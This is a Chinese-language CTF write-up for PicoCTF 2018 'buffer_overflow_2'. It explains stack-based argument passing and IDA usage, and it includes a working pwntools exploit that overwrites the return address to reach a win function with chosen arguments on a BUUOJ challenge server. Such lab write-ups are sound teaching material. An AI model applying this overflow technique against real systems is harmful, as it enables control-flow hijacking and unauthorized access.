PicoCTF_2018_buffer_overflow_2
知识点
- 函数调用栈机制(栈溢出)
- 栈传参
- 32位程序栈传参,以逆序传入参数,即最后一个参数在最高地址
- 64位程序前6个参数是寄存器传参,前6个参数分别存在
rdi、rsi、rdx、rcx、r8、r9
little trick
-
如何将一个数转化成底层的二进制的机器码
-
手算
-
网上找在线工具,这里不做介绍
-
在IDA中看汇编代码
因为c代码都可以当做一组汇编指令,比如从上述的0x804861D开始到0x804862D四句汇编指令,就是相当于
if ( a1 == -559038737 && a2 == -559038242 )
这一条代码,学了汇编之后大家应该都能明白。
-
攻击思路
-
发现后门win函数,其功能大致为:
-
栈溢出,修改previous_eip位置,用来控制指令执行流程,返回到后门函数地址
-
并且把参数位置覆盖为对应的值,使得程序能够输出flag.txt文件内容
执行攻击
-
checksec,查看保护机制
-
可以执行栈溢出,寻找后门函数位置,为0x80485CB
利用IDA查看
f5:反编译为c代码
tap键可以切换c代码和汇编代码,在对应c代码界面可以跳转到对应汇编代码处
空格键可以切换显示的汇编代码为:关系图或者内存图
内存图时在代码前有其对应地址
exp
from pwn import * #导入工具包
io=remote("node4.buuoj.cn",29406) #链接远端程序
io.recvuntil(b"Please enter your string: ") #接收程序的输出数据
sh=0x80485CB
#溢出偏移为0x6c+4,0xdeadbeef为垃圾数据,可任意填写,但要注意填满4字节,p32()自动将数据填充为4字节
payload=b'a'*0x70+p32(sh)+p32(0xdeadbeef)+p32(0x0DEADBEEF)+p32(0x0DEADC0DE)
io.sendline(payload) #向程序发送payload,程序的gets(s)函数会接收该部分数据
#程序已经攻击成功,由printf输出了flag,可以使用io.recv()接收程序输出,或者io.interactive()也会有回显
io.interactive()
#print(io.recv())